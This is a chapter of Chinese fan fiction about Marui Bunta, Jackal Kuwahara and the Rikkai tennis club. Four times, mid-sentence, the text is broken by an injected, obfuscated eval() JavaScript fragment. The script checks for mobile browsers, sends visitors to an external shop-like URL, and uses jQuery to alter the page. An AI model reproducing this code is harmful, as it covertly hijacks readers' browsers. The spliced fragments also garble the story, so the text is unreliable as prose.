《[网王]立海Genius》 1. File ∞ 梦想 “嗯?你问我的梦想是什么?” 丸井文太推开部室外门的动作因这个意想不到的问题而顿了顿,他“唔”了一声,露出一副似乎有些困扰的表情,像是不解居然有人不能从他一贯的行事作风中体察出这一点么,眉梢因玩味而略微挑高了一些。 “我说啊,非得要用这么崇高的命题提问不可吗?” 他一边漫不经心地笑着一边走进部室,背影很快就随意地融入了房间昏暗的阴影中。不需要刻意去寻找,丸井文太轻车熟路地走到他的储物柜前,拎出网球包。 现在应该还赶得上去买点心店的季节限定草莓团子吧……他若有所思地看了眼窗外,此刻的黄昏好像即将熔化的焦糖,天空涂抹着大片绯红的云霞,真是越看越让人感到饥肠辘辘的景色。 吃好,玩好,睡好,每天心情愉快。没有比这更幸福的人生了,所以一直这样下去不就好了么? 晚风轻轻吹动他额前的刘海,他将手臂搭在窗沿,望向远处的瞳孔缓缓聚焦,凝在夕色泼洒的网球场上。 此时大多部员已经收拾好东西逐渐散去,只剩下三三两两几人还在练习没有离开,网球在他们追逐挥拍的动作间灵活飞跃。 丸井文太直到毕业都还记得这一幕,太阳余晖为网球场打上模糊的底色,晕染开明媚灿烂的绚丽色彩,焦糖般的光芒与立海的队 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16685850|188823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 服颜色几乎融为一体,让那一个再平淡不过的黄昏变得生动无比,在他记忆深处最美好的角落里熠熠生辉。 为了这注定永不褪色的光辉岁月。 为了这独一无二的黄金时代。 他从来不是过分执着于荣誉的秉性,却也开始祈望着能为这支强韧的队伍和他重视的队友们奉献出自己的所有力量,和大家一起训练、竞争,挥洒汗水,一同欢笑、拼搏,追逐进步,在广阔的球场上奔跑挥拍,然后齐手捧起沉甸甸的奖杯。 不仅能无愧于立海源远流长的常胜之名,也无愧于独属于他们的最意气风发的青春年华。 这就是丸井文太的梦想。 2. File 01 立海 立海,该校创立于明治11年,据说是根据创校校主想要终生守护学生的责任感,学校实施由国中到大学的一贯制教育,是坐落于神奈川的一所底蕴深厚的名门学校。 其名取自“即使面朝大海的狂涛怒浪,依然坚毅自立、永不言败”,象征着学子勇于迎风直面时代大潮的傲骨和拼搏精神。作为青少年在这段人生黄金时期锤炼自我的最佳场所,立海始终贯彻着“百川归海”的校训,所谓“百川异源,而皆归于海”,学校在尊重学生弘扬个性的同时也倡导团队协作,志在培养同学们自强不息、追求卓越的立海精神。 校园坐落于湘南的海岸之畔,校地面积超过七万平方米,囊括立海大学、立海大附属高等学校、立海大附属工业高等学校以及立海大附属中学校,共四个学部。学校完善的直升体系提供了注重综合素质培养的非应试教育成长环境,百年名校的文化积淀形成了稳健强韧的精神底蕴,身心并重的精英教育塑造了立海学生自强自律的独特气质。 而在今年秋天,国中部校长吉泽勉在第二学期的开学式上满面春风地公布一则重大喜讯:男子网球部在暑期的全国大赛中连战皆捷,取得冠军! 消息一经公布,礼堂中当即掌声雷动,全校师生俱是与有荣焉,更有其他精英社团的部长们以灼灼视线注目于网球部长幸村精市,只见对方从容不迫地登上舞台,从校长手中接过奖状,看起来年纪虽小,却有一副明月入怀般的大将风范。 众所周知,在幸村加入以前,立海网球部有着关东13连霸的彪炳战绩,社团中已是好手云集。他能以一年级新人的身份成为正选,甚至力压群雄,成为众望所归的部长,而今不仅率领队伍完美完成卫冕关东连胜的重任,甚至还更进一步,实现立海称霸全国的野心,实属在精英荟萃的立海乃至全国中学界都光芒万丈的风云人物。 汇聚于舞台中心的聚光灯打得极亮,许多人凝望着幸村精市在光中低眸浅笑的俊美脸庞,又是难以置信,又是心向往之,已经无法用简单的言辞来形容他的优秀和强悍。 这份强者效应很快就体现出来,网球部罕见地在一个学年的第二学期迎来新部员人数的大幅增长。递交申请的学生中包含许多在第一学期尚未加入社团的一年生,还有打算更换社团的一、二年生。虽然有些人可能只是怀着三分钟热度,但从客观来看,这些人扩充了网球部的后备军规模,也为网球部择取好苗子作为来年参与比赛的正选成员而提供了更多的可能性。 来年。 没错,网球部的雄心绝不仅仅止步于一时的辉煌。今年的全国大赛已经结束,校队的几位三年级正选也将在明年春天升入高中部,这就意味着部内将在这半年内完成新旧正选的更替。 根据幸村精市的期望,他需要培养出一支比现在更加强大的队伍。 “丸井,你觉得怎么样?”幸村忽然提问。 “耐力不足,但技巧和反射神经相当出色。” 部活时间,网球部副部长真田弦一郎顺着幸村精市的目光看向网球场。今天是正选面向非正选球员的指导赛,此刻正好是他们话中主人公的发球局,在二人的视线汇聚之处,一名红发的一年生将网球从手中利落地抛起击出,同时伏低身体快速随球上网,能够看出他是打算使用一种非常考验反应能力的应战技术——Volley(截击)。 不同于网球触地后再击球的回球方式,截击是一种在网球触地之前就将球击出的技巧,要求球员拥有更高的速度、力量和应变能力。 真田弦一郎望向场中奔跑的人影。 幸村提议的这名一年生的身材并不突出,在网球部中甚至可以算作矮小,但仔细观察他在球场上单手持拍摆出的姿态,其实肢体纤长劲韧,四肢覆盖了一层薄薄的肌肉,每一球都打得漂亮利落。 Serve and Volley(发球&截击)是网球比赛的一种经典战术,优势在于进攻性强,能够有效压制反应能力弱的对手,尤其针对高速球能够实现借力打力,是一种积极的取胜方针。 只见丸井文太的对手刚刚将球击出,还未移动脚步,甚至来不及收回挥拍的动作,过网的球就被他直拍回击,精准地穿过对方足边。 “15-0!”担任裁判的部员喊道。 九月初的神奈川还处于夏季的尾巴,下午燥热不减,比赛开始不过二十分钟,很快就有汗从丸井文太的额头滚落下来,将他前额的暖红碎发浸得微微湿润。 对方没有擦拭,而是镇定地将嘴里咀嚼的口香糖吹了个泡泡,目光始终专注冷静。 他用了数秒凝视球场、思考战术,然后手指轻轻提了提凌乱敞开的衣领,让淌着汗水的脖颈与锁骨略微透气。 根据真田的观察,尽管还是一年生,丸井文太的截击技术却已经施展得炉火纯青,面对功底扎实的三年级正选也能够打出优势。 利用自己发球的时机快速移动到网前,就能够将对手的反应时间挤压到极致。虽然这也同样要求他自身具备极高的应对速度,然而他的每一次举拍就像不假思索一般,将对手击来的网球精准落在他的拍面中心。由于球没有触地,来球的力量和速度都不会产生损耗,有一瞬间几乎让与网球急速摩擦的拍线都微微变形。 高速球所蕴含的力道必然不弱,倘若无法接住重球,导致球拍脱手,那么,无论丸井文太掌握着多么出彩的截击技术,都没有意义。 在上个学期,他正因为这个弱点败于眼前这位学长手下,此刻的他尽管拧起眉头,握力和臂力却有极大的提升,精准地将来球扣向对手追赶不及的落点。 “Game,丸井,5-3!”担任裁判的同学喊道,同时以惊讶的眼神望向网前微微喘气的人身上。 好厉害,丸井同学短短一个暑期就进步了这么多。 球网对面他的对手远比裁判更加惊讶。作为正选,他们在全国大赛期间必须完成原先2倍以上的加训量,丸井文太仅仅作为陪练的后备选手,成长速度竟然比自己还要更快,实在称得上是天赋惊人。 真是不进则退啊。他感慨一笑,抬手发球的时候心想,虽说立海网球部一贯竞争激烈,但年初有加藤他们被幸村、真田和柳那三位鬼才从正选位置上淘汰,年尾又有自己将被超越,今年的新生真是让人压力山大……所幸他们三年生马上就要引退了。 比赛的胜负逐渐明朗。 这已经不能称为指导赛了,明眼人都能看出双方均已竭尽所能,而且作为挑战者的丸井文太已经拿住了节奏。 幸村与真田站在网球场的边缘观战,但距离他们最近的球场并非丸井文太所在的C区,而是柳莲二所在的B区。 同样也是正选对非正选的指导战,柳莲二虽为一年生,却已能以正选的身份迎战二年级的学长。 立海今年的一年级人才辈出。部长幸村精市因其常胜不败的战绩被称作“神之子”,副部长真田弦一郎因其强横霸道的赛场统治力被称作“皇帝”,柳莲二因其神机妙算的战略被称作“Master”。这三人凭借远超寻常国中生的破格级实力组成一柄无坚不摧的利剑,引领今年的立海直取全国优胜的桂冠,是网球部名副其实的三巨头。 柳莲二比赛时就听见了幸村与真田的交谈,他持拍走出球场,拿起自己的水瓶喝了一口,半长的棕发从肩膀滑落,干净的脖颈不沾半点汗迹,可见赢得游刃有余。 “丸井那份能够洞察时机的冷静非常难得,这个特质能让他精确地抓住每一次进攻的机会。” 柳莲二自然而然地加入那二人的讨论。 他作为网球部的参谋,从另一个角度作出了评价:“他的判断力可以说是部中仅次于幸村和我的水平。” 虽说实力凌驾于众部员,但立海三巨头的场 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16685851|188823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上球风和特长也是各不相同,幸村从柳的话中听出潜台词,笑了一声:“呵呵,真田是很容易被情绪冲昏头的类型呢。” 被调侃的真田因为无法反驳这个事实,表情一时有些憋闷。他天生是容易急躁的性子,为了克服这个毛病,他每天都做夹豆子的耐性训练来修身养性,只是目前仍处于频频失败的阶段,所以总是被这二人说来打趣。 能否理智比赛确实是一种非常重要的心理素质,并极大程度地体现在战术的执行力上。 要评判一名网球选手的能力,最根本的标准是球技,并可以细分为速度、耐力、力量一类的基础素质,和在此之上如高阶技巧、反射神经、精神力、战术能力以及创造力等等被称为才能的天赋素质。 “但是丸井也存在一个问题。”柳莲二说,“他比较懒散,是不擅长拼命的类型。一旦他判断自己的胜算渺茫,身体就会无意识地卸力,这种意识瞬间会让他的胜率从30-40%下滑到10%以下。” 真田闻言,拧眉说:“所以要加强他的训练清单。” “嗯。”柳莲二表示同意,而后又看向幸村,“丸井擅长快攻,和打防守型网球的桑原相性不错,而且那二人相识已久,默契很好,会很好地补强我们立海的阵容。” 幸村精市含笑颔首,对其他二人问:“我们现在共有3名三年级的正选将在明年引退,你们还有其他看好的人选吗?” 真田弦一郎道:“还有半年,不急于一时,我们立海的正选位置一向强者居之,可以用实战来决定人选。” 柳莲二说:“我觉得和我们同为一年生的仁王也可以列为重点关注的对象。” “好,那就拭目以待吧。”幸村说,随后忽然抬起眼睫,目光微移,视线敏锐地定格前方。 正扛着球拍走出球场的丸井文太脚步微顿,虽然被发现了自己正好奇偷看那三巨头聚在一起讨论什么的模样,却没有心虚地移开眼神,而是气定神闲地用口香糖吹了个很大的泡泡挡住脸庞,还很无辜地眨了眨眼睛,好像在说他什么都没有听到哦。 然后他看见幸村精市弯起唇,对自己笑了笑。 收敛了最初一瞬如天光乍破般炫目锋锐的气息,那个人的气质其实很亲和,眼底泛着温柔的笑意。从前丸井文太没有那么大胆地正面凝视过他的瞳孔,一直以为对方眼睛的颜色是纯净的冷调蓝,现在又忽然发现其实当中还掺杂了柔暖的紫,让这个人落在睫羽下方的眸色透出一种似乎不再那么难以接近的神秘韵味。 他在幸村精市眼中看见了自己的倒影。 至于那笑容具体代表了什么含义,丸井文太也说不上来。但他终于感到些许紧张,心跳得好像比方才在球场奔跑时还要快上几分,让他不自觉将含在嘴里的口香糖咬了一下,又咬了一下,咬得青苹果的甜味都不知从什么时候从舌尖流失殆尽了,才后知后觉地咽了下喉咙。 哇——幸村君在看我耶。文太心想。 嗯,不过是为什么呢? 默默地抬起脸思考了下,答案其实显而易见吧,因为自己才刚结束比赛来着。 这样想着忽然他也笑了下,并起食指和中指抵在眉根,然后两指微微一抬,俏皮地回给立海网球部这位完美无缺的小部长一个偶像式的wink。 ——如何?够天才吧? 一双漂亮澄澈的紫色眸子极为活泼地连眨了两下。 “幸村,你笑什么?”真田疑惑地问。 他看了眼身边的发小,只见幸村眉眼弯弯,显然是心情愉悦的模样,不由回忆自己方才莫非说了什么出糗的话题么?这副高兴的模样让他一时摸不着头脑。 “呵呵,没什么。”幸村笑了声,“只是觉得很有信心哦。真田,来年的我们一定也会继续贯彻立海的连霸之路吧。” 真田对此也是信心十足,沉声道:“那是必然。” 3. File 02 正选 柳莲二作为网球部的参谋,平时会为部员们制定训练菜单。他的数据网球完美融合了科学分析和概率预测这两大特色,因此就连高年级的学长们都愿意虚心听从他的建议。但在部内的正选指导赛后,无论是参赛者还是观赛者都要进行自主练习。这旨在避免部员们过分依赖柳的头脑,着力于培养大家的比赛复盘能力,鼓励他们通过独立思考来反思不足并加以改进。 外面很多学校的一年生加入网球部后,将在整整一个春季学期内都承担着为学长们捡球的球童工作,另外只进行诸如跑步、仰卧起坐等基础体能训练,直到秋季学期才被允许拿起球拍,开始在部中参与正式的网球练习。 立海却不同。 捡球和整理球场等杂物工作主要由非正选的一、二年级轮值,一年生从入部第一天开始就要训练挥拍,每周参与部内练习赛,然后根据各自的实力和成长水准,较为优秀的一年生会被编入二年级的强化队列,接着,强化队员通过基础素质考核就能成为后备队员,并获得随时挑战校队正选的权利。 一个人实力越强就能得到越多的比赛机会,成为正选队员就能够代表立海对外出战,为学校争夺排名与荣誉。 因此每个人都虎视眈眈地向上攀登,一朝松懈便可能跌落下来。 这般不进则退的丛林法则在多年来一直激发着部员们奋进拼搏的决心,以此奠定立海网球部多年来作为霸主雄踞关东的基石。 听说东京的冰帝也从今年春天开始推行类似模式的实力至上规则。那位与幸村同为一年级新生的海归高手迹部景吾,不仅打败了原部长并取而代之,更大刀阔斧地推行一系列革故鼎新的改革。据柳莲二的预测,来年迹部景吾所带领的冰帝有望成为立海在关东大赛中的劲敌。 此为后话。 大多正选的指导赛都在三十分钟之内就已经结束,因此丸井文太结束自己这一盘时,临近的球场都已经开始了自主练习。他走到场边,左右转头瞧了瞧,很快就望见拿着水瓶走向自己的杰克·桑原,当即抬起手来。 “哟,我赢了!” “恭喜。”全程观战的杰克也很高兴,“打得很好,特训的成果都体现出来了。” “那是当然,我可是天才。”对方一脸得意。 杰克低头看向他红发下光彩明亮的紫色眼睛,想起夏天全国大赛期间他望向赛场时目中闪烁的憧憬,以及对方在夏休特训期间坚毅认真的眼神。 和自己不同,文太一贯极有主见,他很擅长判断自己的优势,一旦下定决心便志在必得,绝不动摇,永远乐观自信,好像坚信命运女神注定会让他如愿。 而事实也确实如此,文太顺利地跨过了自身的瓶颈,成功地赢过上学期将他打败的三年级正选。 对方好似觉察到自己心中的感慨。 “喂,杰克。”他说。 丸井文太的视线移了过来,眼底笑意盎然,透着自小以来都被发小迁就着的理所当然。 “我会成为正选。你也会陪我的吧?” “当然。” 杰克不假思索地点头。这不仅是因为他不愿落于人后,也因为另一个难以言说的念头悄然留在心底。 一直以来都是这样。杰克没办法让文太的眼睛流露出失望的表情。 二人在自主训练时间展开对练,他们作为彼此长期的练习对手,能够娴熟自如地应对另一方的击球。丸井文太的长处在于他变幻巧妙的截击,总是能自由自在地调整回球的节奏打乱对手步调,杰克·桑原的长处在于他敏捷扎实的守备能力和体能,他在频繁与丸井文太的对抗中掌握了铜墙铁壁般的防御,因此双方的对抗结果往往取决于是文太先攻破杰克的防守,还是杰克先将文太拖至力竭。 简单来说,就是矛与盾的关系。 他们不但是最擅长克制对方的存在,也是最适合相互支援的组合。 柳莲二留意着球场上的局势,心中却在想,目前来看,这二人还应该与更多类型的选手比赛积累经验才好。 部活结束前,他将一份全新的私人训练清单递给文太,对方并不意外,就像是夏休前拜托他提建议时一样笑眯眯地道了声谢,柳莲二也微微一笑,拦住文太准备与杰克分享的动作,将另一份清单递给杰克。 “你们需要侧重的项目不一样。”他温声说。 “好嘞,保证加倍完成任务。” 丸井文太当即抬手过眉,敬礼示意。不过这正经的表情还没维持到三秒,他就悄悄地收拢其他四指,只留一根食指探出,顽皮地指向自己身侧:“交给杰克了。” “喂,怎么是我啊!” 杰克下意识地说,当然抱怨归抱怨,他自然会毫不放水地完成自己的训练清单,抬目向柳郑重颔首:“多谢。” “话又说回来啊,杰克,你不觉得很不可思议么?” “什么?” “柳。” 丸井文太与杰克一同走在回家路上,夏秋交际的霞辉将他们和身侧绵长的湘南海岸都笼罩在暖色的金芒中,有着黝黑肤色的混血男孩微侧过头,看见他的发小从手捧的甜点盒里拿出一个洒满了巧克力碎的草莓甜甜圈,只一口就咬下一半还多,柔软的面颊在咀嚼时微微鼓起。 “网球部里好像没有他不知道的事,所有人的情报都尽在掌握。” “是啊,毕竟是参谋嘛。” “网球也打得很强啊。和柳对练的时候总觉得所有想法都会被看穿,但他自身的情报却滴水不漏,根本猜不出来他在想什么,也看不懂那家伙视线盯在哪里。” “这就是数据网球的可怕之处,不过你后半句话其实是在吐槽他平时都闭着眼睛吧?” “哈哈,被发现了?” “显而易见吧。” “因为啊——柳像是连后脑勺后面的视野都具备,应该是超能力者才能这么迅速和全面地搜集数据吧。” “他的阅读能力似乎也出类拔萃。”杰克回忆道,“柳是C班的吧?前天我把我们班作业送到办公室的时候,听见他的国文老师和其他老师这么讨论的,说柳只需要其他人四分之一的时间就能够完成一篇古文的深度精读。” 丸井文太和杰克·桑原是一年G班的同班同学,柳和网球部的副部长真田是C班。 因为学生每年都会被重新分班,不同班级的老师们也会经常交流彼此的上课经验,讨论如何应对各自遇见的特别学生,以便后来参考。 丸井 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16685852|188823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 文太回忆片刻,不太确定地问:“柳好像还是以神奈川二小首席的成绩考进立海的?” “对。”杰克说。 对方闻言眨了眨眼睛,异想天开地猜测:“学习和运动能力都完美无缺,外加接近无所不知的情报储备,果然是超能力者吧?” “喂,这么说的话机器人不是更准确?” 杰克话音刚落,就见发小摇了摇头,并不同意。 “那个家伙很温柔啊。”文太含糊着声音说,伸出舌尖舔了舔唇边沾上的巧克力碎。 虽然是在讨论网球部的同学,但他的紫色眼睛显然透露出这人更为关注自己怀里的甜点盒,好像在选择困难下一个吃什么口味好呢,然后从中拿出一个蜜瓜味的甜甜圈一口咬下,脸上顿时洋溢出心满意足的幸福。 杰克见状微侧过脸,忍不住在心中捏了把冷汗。 看这架势,莫非是要回家路上全吃完吗?晚饭真的还能吃得下? 如此疑问早在很久前就被自己按捺不住担忧地问过无数次,丸井文太的回答也从始至终没有改变,说他的日常就是一日三餐三点心,还洋洋得意地表示既然杰克是以无敌肺活量号称“有四个肺的男人”,那他也不能认输,凭借无敌的胃容量来号称……嗯……拥有两个胃吧,一个用来装主食,另一个用来装甜食。 他这样说的时候好像还自认为非常谦虚,杰克对此感到无奈。 即便自己早已熟知丸井文太是个无可救药的甜点控,他却不确定是不是自己的错觉,总觉得升上国中以后,对方每天吃的甜食分量也大大增加了,是零用钱变多的缘故么?还是说青春期食量增长? 今天也是,社团活动刚结束就拽着他一起去买甜食。 丸井文太误会了杰克欲言又止的眼神,眉梢轻挑:“怎么了杰克,你也想要吃吗?” 然后不待他开口,就从盒子里拿出一个枫糖味的甜甜圈塞到他手里。 “分你一个哦。”他大方道。 对我来说太甜了啊……杰克无奈地弯下眉毛,不过还是没说什么,走在丸井文太身边,把甜甜圈一口口吃掉了。 晚风和畅。 神奈川的海风湿润而柔和,拂过面颊的时候带来一丝夜间的凉意。太阳将沉,波光粼粼的海面跳跃着金箔般的光芒,与远处暮色笼罩的富士山相映成景。他们一同走在湘南海岸与海边公路之间的人行步道上,两道影子被夕光拖得很长。 丸井文太快乐地把最后一个椰蓉甜甜圈吃得干干净净,随后也如杰克般抬目眺望海天相接的远处,眼眸深处携着明朗自信的朝气。 “总之,尽管幸村君他们很强,哪怕是身为三巨头之中第三位的柳,对我们来说实力都深不可测,但这也不代表我们就没有可取之处。” 深紫色的眼珠在细碎微翘的红发下微微转动,一贯漫不经心的家伙忽然露出认真表情,声调冷静地如此说道。 文太瞧向杰克浮现诧异的脸庞,与他四目相对,近乎望进他的眼瞳深处。 随后,慢慢地,这个人眼中漫出柔软的笑意,那是一种仿佛识破了什么,却不愿戳穿的笑,他抬高手用力地拍了拍杰克的肩膀。 “不用担心,伙伴!我也会为你助力的!” 4. File 03 天赋 应该说是一种天赋吧,丸井文太自幼就具备体察人心的才能。这份八面玲珑的聪慧敏锐,以及能够不动声色关照着他人的细腻和善良,能让他身边的人都得以享受极为舒适的相处氛围,然后在不知不觉间与他拉近距离。 所谓太阳一般自带引力的人气王,说的就是他这样的家伙。 杰克·桑原生于巴西。后来,因日本籍的母亲工作调动,全家移居日本,年仅9岁的他也随之转学到神奈川第三小学,与丸井文太成为同班同学。 坐在教室前排的文太有着一头柔软鲜艳的红发,和桃花瓣一般漂亮的紫眼睛,眼神清亮澄澈,面孔线条明快,笑起来的时候脸颊浮起若隐若现的酒窝。在杰克的回忆中,虽然丸井文太只是安分地坐在一众同龄男孩女孩之间,目带好奇地望向自己,整个人却犹如被命运的聚光灯照亮,色彩鲜丽而绚烂,简直显眼得不行。 只凭第一眼的印象,就能让杰克·桑原确认丸井文太是很容易被人们喜欢的那种人。 事实也正是如此。 丸井文太有着与他相貌相称的好人缘,男生们乐意在体育课上邀请他成为队友,女生们也热衷把自己的点心分享给他,被同学们环绕在中心的文太总是一副无忧无虑的开朗表情,用活泼又风趣的话语把周围人也一起卷进同样明快轻松的氛围里。 连老师都好像格外偏爱他,常常对丸井文太在课上偷吃糖果的事情睁一只眼闭一只眼。 当然杰克并没有抱怨不公的意思啦。 他之所以会注意到这些,是因为那时候的杰克作为转学生,正处于适应环境的时期,还需要仔细辨认班里同学的脸孔,才能对上名字。而文太由于太过醒目,所以自然而然成为第一个被他记住的人物。 由于他继承了巴西裔父亲的黝黑肤色和比亚洲人更深的五官轮廓,杰克从外表上就与其他孩子显出不同。虽然他没有遭遇到太过明显的针对,但许多同学还是出于谨慎或胆怯而不敢与他交流太多。杰克天性内敛,虽然对此感到沮丧,却也没办法把心事说给任何人听,只能独来独往。 不过转机很快出现。 学园祭举办之前,同学们决定投票征集班级要创办的活动,丸井文太提议的冰糖葫芦摊很快得到一众吃货的强力声援。坐在后排的杰克单手托腮,望着前方文太高高举起的手臂,心里却想:光从名字听起来就很甜。 他以前只从杂志上见过那种食物,印象中似乎是跟对方的发色一样鲜艳。 杰克没有打算提议的创意,也不觉得自己的提议能如同丸井文太一般得到同学们的倾力支持,所以出于一种选什么都无所谓的心理,他把自己的票投给了对方。 最终,自然是冰糖葫芦摊以压倒性的优势大获全胜。 “太好啦——!!!” 在一众小学生欢呼雀跃的吵闹声中,班主任面带苦恼的样子显得有些格格不入,她商量着跟同学们说:“这个制作起来没有那么简单哦,老师也来帮忙吧?” “欸——” 同学们面面相觑。让老师帮忙?那也太逊了吧?一定会被其他班的人嘲笑吧? 但大家确实也不太有把握制作出成功的冰糖葫芦,万一摊位失败也很丢人。 “文太,怎么办啊?” 事关小学生最重视的面子问题,有个扎了羊角辫的女生不假思索地向丸井文太求助。 “不用不用,我们自己来也没问题的!”文太自信十足地回答。 尽管对方看起来只是一时兴起才提出了冰糖葫芦摊这个点子,但丸井文太很快就用行动来证明,他确实能万无一失地办好活动。 在投票第二天,他就罗列出清单,将事前准备的任务分配得一清二楚,指定一部分人负责摊位布置和海报绘制的工作,由班里美术最好的女生担任组长,指定另外一部分人负责工具和食材等物资的采购,由他和擅长算数的同学担任组长。 杰克·桑原也被分配为采购组的一员,他听到的时候在心中早熟地叹了口气,因为有很多人都是格外顽皮的性子,杰克以为将要面临大家在超市中到处吵闹的乱象,已经提前开始感到烦恼和头痛。 未想丸井文太比他想象的要更擅长管理那些家伙。 在几个孩子玩笑得兴起而将要乱跑打闹的时候,文太吹破了他的口香糖泡泡,突然开口说:“喂,建太。你和纯平还有大智三人一起去找白砂糖吧。” 对方一开口就把闹得最活跃的人都点名出来。 “调味品的货架应该是在那个方向。”他伸手指向附近,笑道,“你们找的时候可以分头行动,然后找出自己认为最好的砂糖给我看哦!记住,一定要最好的,要充分对比成色、分量和价格,品牌也是,你们可以参考下妈妈在家里用的种类。” “好嘞,交给我们吧!” 几位调皮鬼当即敬礼,而文太也颇有气势地叉腰回礼,说了声“去吧”,杰克便目视着他们跃跃欲试地“寻宝”去了。 会将这种行为比作寻宝,也是因为杰克凭借身高优势,看见文太拿在手中的纸条早已注明了他打算购买的砂糖品牌。 这个对甜食有着强烈热爱的家伙,分明从一开始就知晓最优解,却故意用游戏般的方式吩咐别人做这做那,让那些精力充沛的孩子们一刻都不得闲,甚至被指挥的人往往还乐在其中,为自己寻得了被丸井文太夸赞的宝物而沾沾自喜。 “其实买东西没必要那么多人一起吧……” 回程路上,杰克提着两大袋原材料走在后头,忍不住低声嘀咕。 “别这么说啊,多几个人拎东西比较方便吧。”在他身边的丸井文太把双手搭在脑后,轻松地说。 原来是你不想费力气啊……杰克无言地瞥了文太一眼,又望向前方心满意足着搬运各自“寻宝”成果的小伙伴们,倒也不可否认对方确实拥有让人毫无怨言去主动效劳的能耐。 “没必要把所有事情都揽在自己身上。让大家都能够充分参与劳动的乐趣,这也是很重要的一环体验,不亲身付出就不能深刻感悟到成果的美味。” 丸井文太好像能听见杰克内心的腹诽,脑袋摇晃,洋洋得意地说得头头是道。杰克一开始以为他在戏谑自己吃力不讨好的笨拙,后来与文太相熟才知道,那其实是对方用哄他家弟弟乖乖听话的独门秘诀。 杰克偶尔会想,莫非这家伙其实思维也很早熟? 然而他这番念头又常常在看见丸井文太用撒娇口吻向女孩们讨要甜点的时候烟消云散。 学园祭当天,丸井文太再度发挥他把别人指挥得团团转的卓越才能,冰糖葫芦摊在一片忙中有序的氛围中顺利开业。 冰糖葫芦、冰糖草莓、冰糖葡萄、冰糖砂糖橘……一众色彩缤纷的甜蜜零食端上摆台,在人来人往的冬日祭典里可谓是无往不利,更有活泼的男孩子们扛着扎满糖葫芦的草把子在校园各处游走叫卖,销量可谓是一路飙升。 后台筹备的同学们只觉得锅没停过火,手也没停过串签子,空气中弥漫着浓郁温暖的甜美糖香。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16685853|188823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“草莓不够了!杰克——”一名同学大声呼唤。 “马上来!” 直到反射性地高声回答完,杰克才后知后觉地意识到,此前自己与旁人之间各有顾虑的隔阂已经彻底消散于无形。 应该也算是沾了某人的光? 他去搬运草莓的时候,发现了靠在角落的丸井文太。 此人手上还拿着一根洒满了七彩糖碎的巧克力香蕉,显然是趁同学们忙得热火朝天的时候悄悄摸出去偷吃了一遭,绵软的脸颊在咀嚼时微微鼓起,连带着几撮张扬翘起的红发也随之一动一动,如同一只可爱的红色幼猫。 “喂——你这是在偷懒吧,丸井。”杰克道。 “有什么关系?大家那么忙,不会有人发现的。”对方耸了下肩膀,无所谓地笑了笑。 “我不算吗?” 丸井文太闻言扑哧一下笑出声来。 “你啊——”这个人散漫地拖长了声音,杰克注意到他抬起长长的睫毛,朝自己递了个又调皮又相当意味深长的眼神过来,仿佛正悄悄道出什么重大秘密,对方压着尾音,“不也正乐在其中么?” 这句话咣然砸进杰克的心湖掀起波浪,又仿佛是在有恃无恐地向他宣言,自己一定会包庇对方。杰克一瞬间着恼地想反驳和破坏他无来由的自信,却又无法违抗内心中对此人如蔓生般疯涨的好感,实在纠结不已。 在那良心激烈斗争的数秒间,他与丸井文太目光交汇。 那是一双写满了信赖与友善的漂亮眼睛,每一秒钟的对视都在谋杀他的心跳。 杰克只觉自己几乎需要调动起全身的自制力,才能艰难地抿直唇线,忍住翘起嘴角的冲动。 “我自然——忙着搬东西,什么都没看见。”他说。 “对了,丸井。” 丸井文太抬高视线,看见搬着草莓走出一段距离的杰克忽然又停下了脚步。 黑皮肤的男孩没有回头,只是用不太响亮的声音说:“学园祭结束后,你有时间吗?我家附近新开了一家甜品店,听说里面招牌的蜂蜜松饼最近很有人气,我、我们……” 这是杰克第一次主动向同学发出邀请。 对于不善与人交际的他来说,很不容易。 因为看不见文太的表情,杰克越说越是声带发紧,到后来连吐字都感到困难。万一被拒绝怎么办?脑袋里一片空白,想不到如何应对的话语,也不知道该作何表情,攥着纸箱的手心沁出一层微薄的细汗,几乎心中都涌起落荒而逃的冲动。 然后在他声音越来越小,连自己都逐渐听不清楚的时候—— “哇啊——你要请我吃吗?Thank you!我好高兴!” 